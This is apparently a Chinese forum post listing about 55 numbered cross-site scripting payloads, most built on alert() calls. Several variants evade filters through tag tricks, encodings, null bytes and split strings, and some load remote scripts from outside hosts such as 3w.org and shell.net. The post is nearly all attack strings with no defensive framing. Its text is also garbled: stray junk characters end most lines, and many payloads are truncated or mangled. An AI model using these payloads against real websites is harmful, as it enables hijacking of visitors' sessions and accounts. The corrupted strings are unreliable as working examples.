(1)普通的XSS JavaScript注入
# Z/ b0 K! e8 m<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>& D4 l8 S3 j Z
(99)另类弹框
' R* t' C) C3 k<q/oncut=alert()>1
% W M+ n* j6 V$ m<s/onclick=alert()>b+ _# i1 k) t. Q& n' N: h: r. M
<XSS=" onclick="alert(1)//">clickme</SSX=">8 }9 d" v4 T+ P; D% B a8 H% W/ o7 @
<zzz onclick=alert`1`>clickme</zzz>
( C; X# [* ?# G( B. A <a onclick=alert`1`>clickme</a># H4 n) d% ^9 g+ V' T) j
<a=">clickme</a=">9 m3 Z4 u4 j1 N
<a=">clickme</a>
0 j+ b3 z+ r- |; q% }0 t* f% G/ l<z=">clickme</z=">
% x. r G! M/ b; ?2 z<z onclick=alert`1`>clickme</z>) i$ E6 q5 H' q$ I( i* ~
# r) w8 ~% Q P. Z. ?
(2)IMG标签XSS使用JavaScript命令
, ]( h, n& g9 y, Z! W% J( h% M<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
( T" }9 \0 R# ?; _' G2 D
, n0 D! x' E3 E# h6 P4 w(3)IMG标签无分号无引号' }8 l8 K/ ~+ W7 L0 w
<IMG SRC=javascript:alert(‘XSS’)>7 R5 h* R1 L, s
) z0 |0 T) w1 x* W# N9 A/ i" U# l(4)IMG标签大小写不敏感
. f# v! R: o. b2 h( j& ~1 `/ l4 ^<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
) V& G! Q4 e/ r
- T& u. l% w' Q; c5 q(5)HTML编码(必须有分号)5 I3 x0 f4 w6 U8 z- I
<IMG SRC=javascript:alert(“XSS”)>8 F, c! _6 T) H4 r, v& X
6 ^3 k' w- C e* H. X, N% h(6)修正缺陷IMG标签
/ d& H4 y' y8 [1 @: o8 g9 m<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>7 H8 K3 E4 C! X" B
$ {9 t* M: W* \0 e q9 v2 |(7)formCharCode标签(计算器)
/ N) d* C, j% U# ^% `) C7 ?<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
6 E4 Y. m' ?+ y: {
' u, B; e/ k8 C9 G7 q1 R8 w+ I0 j1 a(8)UTF-8的Unicode编码(计算器)7 s* v/ F- a" j% S! I' U4 P# K: U
<IMG SRC=jav..省略..S')>; ^3 @$ p* D( x
% E* u$ w/ E- Z) n4 } t
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)4 y4 D8 d- Y# S" Q5 C7 I4 D5 i
<IMG SRC=jav..省略..S')># B9 C) o$ j3 ~ P) D! Q
9 q( J% f& q6 p4 J! i, k; L" |(10)十六进制编码也是没有分号(计算器)
9 @5 @$ w8 e! M" y<IMG SRC=\'#\'" /span>
. B: M, W" B% `5 Y
% Q2 g. q6 {/ c* ~(11)嵌入式标签,将Javascript分开% m8 u) o% d0 r `! u
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>4 E9 U- D# w3 Y# ]
) c7 v; `. b# J& @# t P) C
(12)嵌入式编码标签,将Javascript分开/ Z. `. q4 {6 { L, F
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
) u' n! i! j! M% @& n; }1 I% r# O8 }4 d
% F3 @6 ^9 `3 e5 }5 H6 O4 n7 @(13)嵌入式换行符
- D9 a4 l% S" [& Y. o$ F<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>
# p: S1 S' q' I3 M- X, `5 z( ^: _ T7 b) `. m1 V7 V
(14)嵌入式回车; h$ N' @/ J0 d+ g$ Y7 |& P
<IMG SRC=\'#\'" ascript:alert(‘XSS’);”>% N% z; X# O6 P' _* |* P
& j6 }# A3 k( n* y5 e8 K(15)嵌入式多行注入JavaScript,这是XSS极端的例子
; v9 z; \( Y8 u<IMG SRC=\'#\'" /span>
, v3 w0 k4 U+ H( V" A, B9 L# f4 K' s8 U$ F) L: ^
(16)解决限制字符(要求同页面)
& {6 L/ L$ c1 n" x9 B/ N<script>z=’document.’</script>
. ^# J0 u. N& i" N0 q<script>z=z+’write(“‘</script>& r E2 {: n0 o3 v
<script>z=z+’<script’</script>& ^9 G& q G5 s2 `5 c
<script>z=z+’ src=ht’</script>' p/ b" S4 ^+ l, g5 V W4 |
<script>z=z+’tp://ww’</script>( M! ?% _- M/ {& `/ K7 J; `
<script>z=z+’w.shell’</script>3 e& v2 P- I. g2 q0 s, s
<script>z=z+’.net/1.’</script>
3 k' ^2 L ^ n- i3 S<script>z=z+’js></sc’</script>8 x$ J+ C1 T2 x, u: k( d( [
<script>z=z+’ript>”)’</script>9 D7 Q- T, x( g+ ?7 ?
<script>eval_r(z)</script>
6 } n9 R1 e1 B; k& k& p2 j$ P! u
6 e. x W7 s: h# z& G T* M+ r(17)空字符
. L. m9 T7 m' K3 Z" \% Jperl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
8 ^' Z, }8 w" Q" ]# @3 I8 {+ p- `3 a( d3 d7 z
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用( D8 z2 W! j1 X
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
# g% |& u' e1 V: E- Z8 q1 V1 d: J( B, m1 F' J+ z5 Q9 K8 S
(19)Spaces和meta前的IMG标签
3 R# G# G" ~" J* H* u( o<IMG SRC=\'#\'" javascript:alert(‘XSS’);”>
0 d+ m1 D# F% S- n: M$ ?% j. W1 G/ q/ C; E1 o) O
(20)Non-alpha-non-digit XSS% O& n- `: G1 W1 v" D
<SCRIPT/XSS SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>6 g5 p {/ C* V, a4 h6 y4 D
8 Z3 @- s4 ~: P' M% ^) ^" Y7 ](21)Non-alpha-non-digit XSS to 2) B3 _; u* a/ }5 |% C- O
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
% I; l% f/ D n, v/ S% ?: `# n: r K r- M( J4 Q
(22)Non-alpha-non-digit XSS to 3
4 q) r6 N' B9 ?& P- G2 B<SCRIPT/SRC=\'#\'" /span>http://3w.org/XSS/xss.js”></SCRIPT>0 G- e6 R; A+ @/ H7 U9 Y% ~
% N# J% @! A$ ~
(23)双开括号
2 {# C1 @% K! g' `/ f* P. v<<SCRIPT>alert(“XSS”);//<</SCRIPT>
7 f2 e1 m; u: t) O d8 L
# P0 q0 E8 f4 I1 X8 R" ](24)无结束脚本标记(仅火狐等浏览器)% e3 p8 [8 G6 I
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>' @( @4 s" b9 P) X' O x- o
. B' y5 K5 x. X
(25)无结束脚本标记2$ ]% i9 t9 L" [
<SCRIPT SRC=//3w.org/XSS/xss.js>
$ ~! N0 U% j" u% O1 U
& L5 ^5 v! F0 b. h0 t(26)半开的HTML/JavaScript XSS; z% P- i; q: ^3 q1 A
<IMG SRC=\'#\'" /span>
" |5 d2 G4 ~! {& x3 N6 @4 a+ Z& g% s! G8 R5 | w5 H+ U# ~
(27)双开角括号8 O. A& a; s+ i/ c' J! Q7 n
<iframe src=http://3w.org/XSS.html <5 S1 q% g" l/ i+ {. S( ]& w
& F- }- |4 j% o5 u& ^6 ^! ?(28)无单引号 双引号 分号- v$ d1 a2 i! q3 w9 T; i
<SCRIPT>a=/XSS/
' L7 s8 }/ p1 M8 r/ k7 Jalert(a.source)</SCRIPT># @& h! \" g5 Z W. A5 \
$ _& J6 K. D+ b3 f7 a! N(29)换码过滤的JavaScript' i2 ]9 s0 D! e6 H! w: ~$ ?
\”;alert(‘XSS’);//: D% f+ H& ^& g
" i0 L% D. M2 o4 r(30)结束Title标签
- Y% E+ Y3 f1 W1 p" Y</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>% I8 I7 y6 G2 s8 \4 R" S0 U
* @: K( C( h8 y9 p9 U(31)Input Image4 i1 p# t: T8 b6 D# O
<INPUT SRC=\'#\'" /span>8 V6 d: y* J2 O& q6 R5 j0 j% R) [
, H* Q' F+ n* r& i1 i/ r0 m
(32)BODY Image
1 R7 J4 ?9 e Y0 |<BODY BACKGROUND=”javascript:alert(‘XSS’)”>8 v& d' f0 L( p0 j; n6 H
5 Z0 V. I$ X$ X- M8 t3 j6 y; C
(33)BODY标签; D( E3 y# ~& [1 u2 w( a* `
<BODY(‘XSS’)>
, P. r4 p9 c7 l$ c# m# w
5 x8 z7 W$ ~+ `7 r! w: {(34)IMG Dynsrc/ Y! E: B ]4 U0 @; [2 \ o
<IMG DYNSRC=\'#\'" /span>- _- m3 s! D2 o+ W
3 J. N: s2 T" Q
(35)IMG Lowsrc+ H- l, n5 j- s3 {, d4 e" `
<IMG LOWSRC=\'#\'" /span>
( c3 m) U% x+ ^, \+ s4 F' J
5 V% l& h4 h V(36)BGSOUND
* M( w6 Z* R' `3 Z t* V9 W8 q7 U<BGSOUND SRC=\'#\'" /span>
4 E' T$ |1 f; @3 Z8 D! ^3 Y
- s' d1 O [1 l+ K) D3 w( M& N(37)STYLE sheet
1 a/ n7 |* R7 q: D4 u3 ~+ `' ^<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>0 L# k# w" S/ a0 K+ P7 V
, ~0 j3 d% O( I4 f1 O: \- ^
(38)远程样式表
% d9 H* i! [0 Q- T<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
/ ~$ o! O) P' ?5 u& p; p3 M3 i. P& e; N' \8 M# H' A8 n. k
(39)List-style-image(列表式)
/ D( f; s- W+ w4 y; E, l& p9 \<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS$ u G# i% A S: A5 g, K
: S& U$ |2 z6 s! E0 q$ E( H. b# w
(40)IMG VBscript
! J {6 l/ u/ `0 p# }4 i# t, G<IMG SRC=\'#\'" /STYLE><UL><LI>XSS
7 [, ?1 X9 ^) @$ C: _7 m9 l7 j9 p- ^2 @5 ^; C# k8 p4 m
(41)META链接url# K! q. U$ c& O3 h! Z4 a% Y. E
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>3 p3 q& W2 _+ U2 d0 A2 b$ L7 L
9 E0 x" ?2 O0 Y' \
(42)Iframe# {& V/ j9 Y- k; \
<IFRAME SRC=\'#\'" /IFRAME>0 t5 p/ ]! J0 [5 _& `& z
9 `& M d: R+ e# R. b
(43)Frame' C/ ]9 n6 R) s+ v; n
<FRAMESET><FRAME SRC=\'#\'" /FRAMESET>" O4 z8 }) t; \& v
# O7 M$ t/ P! L0 n
(44)Table
+ h0 Q, Y- J3 F* c2 J<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>; j2 {: X5 X, A9 b) k
" N& n) e8 h& u; v3 T6 z, e' `+ e(45)TD
& z, f* g' i' M% w<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>% M+ W2 r( S3 O) Q2 A( I5 C6 G
I: H* R4 H, a9 X) H1 ^(46)DIV background-image
; z) ^% J4 |7 F. D, l9 _% Q: M<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
( d- }/ o" X, |" f% w3 c8 l
- g5 Q1 G' r" T# a(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)2 x4 h- c W9 B# k A# Z& V
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
6 u& Y: y) H$ `2 m# ?" R
9 M7 S+ r2 R; E+ `3 ^+ m(48)DIV expression# x2 v+ \: E% f7 z
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>* x( [; e& g; K1 a/ R+ h* t+ q; s% h
6 C8 L8 H4 c4 ~$ l: ^
(49)STYLE属性分拆表达
- {6 V0 I b1 z2 [5 P5 d<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>5 [# z, G5 J, Q3 A/ N2 N. i, ?4 P# y
3 i; Y9 D; V. L6 W8 P0 ?(50)匿名STYLE(组成:开角号和一个字母开头)
p/ [1 P- \+ R' d6 I<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>6 Z+ y5 c) | t- w+ M
! f5 ?0 r- t: h6 G, F2 K(51)STYLE background-image
. A( ? @/ W' B* f, ~<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>' ~8 z1 ]! V, B" h1 e3 X
" y, |$ f- s7 m3 l- v7 ?(52)IMG STYLE方式
* H2 ~! N& G$ j, E% Kexppression(alert(“XSS”))’>8 x6 u* K; h# ]6 a
$ A# t& t& j$ h6 N
(53)STYLE background
( l! `4 D" Q* k- x, q+ M% B7 c<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>6 `9 |6 Q/ @( i6 `
1 A: ~$ v. ?2 J; e" T3 [7 o m( A(54)BASE2 T: N, C1 x3 u9 n D0 @: [6 H$ T
<BASE HREF=”javascript:alert(‘XSS’);//”>
+ e$ B8 j$ A" O9 K" \: M4 o$ A+ R- x& `
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS) D8 ]$ B# D6 f& b' g; V) C3 O
<EMBED SRC=\'#\'" /span>http://3w.org/XSS/xss.swf” ></EMBED>. y/ R5 o9 c; F0 k! f
|
发表于 2016-4-28 10:06:15
收藏
支持
反对